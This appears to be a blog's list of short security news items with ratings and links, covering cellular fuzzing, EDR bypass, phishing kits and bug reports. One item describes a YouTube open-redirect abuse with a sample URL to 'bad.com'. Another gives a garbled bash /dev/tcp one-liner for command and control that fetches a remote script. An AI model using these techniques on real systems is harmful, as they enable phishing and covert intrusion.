All posts by John Doe

■■■■□ RANsacked: A Domain-Informed Approach for Fuzzing LTE and 5G RAN-Core Interfaces (119 vulnerabilities in LTE/5G core infrastructure). https://cellularsecurity.org/ransacked

■■□□□ 2,500+ Truesight.sys Driver Variants Exploited to Bypass EDR and Deploy HiddenGh0st RAT. https://thehackernews.com/2025/02/2500-truesightsys-driver-variants.html

■■■■□ Selective jamming: Reconfigurable intelligent surfaces reveal new method of attacking Wi-Fi networks. https://techxplore.com/news/2025-02-reconfigurable-intelligent-surfaces-reveal-method.html

■■■□□ YT exploit semi-deep dive: Two YouTube redirect abuses. First, copy a redirect URL from a video’s description, paste it out, and edit the original website to whatever website you’d like to create an open redirect. Example: Zcw&q=https%3A%2F%2Fbad.com%2F&v=ivbQ_Ubo3YU Then simply change the “q=” parameter to any URL, even a malicious one because YouTube doesn’t revalidate…

■■□□□ Apiiro unveils free scanner to detect malicious code merges. https://www.bleepingcomputer.com/news/security/apiiro-unveils-free-scanner-to-detect-malicious-code-merges/

■■■□□ Cybercriminals Can Now Clone Any Brand’s Site in Minutes Using Darcula PhaaS v3. https://thehackernews.com/2025/02/cybercriminals-can-now-clone-any-brands.html

■■■■□ Google Released PoC Exploit For Palo Alto Firewall Command Injection Vulnerability. Google Released PoC Exploit For Palo Alto Firewall Command Injection Vulnerability

5️⃣ 1 liner bash for C2 without using any native program like wget, nc etc, esp containers. bash-c “exec 3/dev/tcp/IP/80; echo -e GET/ youfile.sh HTTP/1.1\r\nHost; ip\r\nConnection: close\r\n\r\n’ >&3; cat yourfile.sh’ Source: Linkedin | Harvey Spec

■■□□□ Introduction to the IoT/Embedded Linux: The OpenWRT Project. https://www.hackers-arise.com/post/introduction-to-the-iot-embedded-linux-the-openwrt-project

■■■□□ User Email Disclosure via ID-Based Invitation. https://hackerone.com/reports/3003716